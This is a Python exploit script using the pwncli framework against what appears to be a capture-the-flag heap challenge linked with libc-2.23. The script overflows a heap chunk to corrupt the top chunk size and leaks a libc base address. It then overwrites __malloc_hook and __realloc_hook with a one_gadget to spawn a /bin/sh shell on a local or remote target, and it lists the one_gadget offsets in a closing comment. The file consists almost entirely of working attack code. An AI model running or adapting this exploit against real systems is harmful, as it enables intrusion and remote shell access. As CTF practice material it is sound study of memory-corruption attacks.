1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| #!/usr/bin/env python3 # Date: 2024-07-14 09:55:48 # Link: https://github.com/RoderickChan/pwncli # Usage: # Debug : python3 exp.py debug elf-file-path -t -b malloc # Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import * cli_script() set_remote_libc('libc-2.23.so')
io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False) # CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt=">\n"): sla(prompt, i)
def add(size,co): cmd('1') rl() sl(str(size)) rl() s(co) #......
def edit(idx,size,co): cmd('2') rl() sl(str(idx)) rl() sl(str(size)) rl() s(co) #......
def show(idx): cmd('3') rl() sl(str(idx)) #......
def dele(): cmd('4') #......
add(0x100,'aaaa') edit(0,0x110,b'a'*0x108+p64_ex(0xef1)) add(0x1000,'aaaa') add(0x100,' ') show(2) libc_base=u64_ex(r(6).ljust(8,b'\x00'))-0x3c5120 ptr=0x4040E0 top_chunk=libc_base+0x3c4b78 offset=(top_chunk-ptr)//8 edit(2,0x120,b'a'*0x108+p64_ex(0xdc1)+p64_ex(libc_base+0x3c4b78)+p64_ex(0x404100-0x10)) add(0xdb0,p64_ex(libc_base+0x3c4b78)+p64_ex(libc_base+0x3c4b78)) show(4) heap=u64_ex(r(6).ljust(8,b'\x00'))-0x3c5120 edit(4,32,p64_ex(0x404000)+p64_ex(0)+p64_ex(libc_base+0x3c4b78)*2) one=libc_base+0x4527a print(hex(one)) libc=ELF("./libc-2.23.so") libc.address=libc_base setcontext=libc.sym['setcontext'] p=flat({0:b'a'*8+p64_ex(libc.sym['puts'])+p64_ex(libc.sym['write'])+p64_ex(libc.sym['__stack_chk_fail'])+p64_ex(libc.sym['read'])+p64_ex(libc.sym['malloc'])+p64_ex(libc.sym['setvbuf'])+p64_ex(libc.sym['__isoc99_scanf'])+p64_ex(libc.sym['exit']), 0x70:p64_ex(libc.sym['_IO_2_1_stdout_']), 0x80:p64_ex(libc.sym['_IO_2_1_stdin_']), 0xa0:p64_ex(0x404120)+p64_ex(one), 0xd0:p64_ex(libc.sym['__malloc_hook'])+p64_ex(libc.sym['__realloc_hook'])},filler=b'\x00') add(0xe0,p)
edit(0,8,p64_ex(libc.sym['realloc']+12)) edit(1,8,p64_ex(one)) add(0x20,'aa') print(hex(libc.sym['__malloc_hook'])) print(hex(ptr)) print(hex(libc_base)) ia()
''' 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv '''
|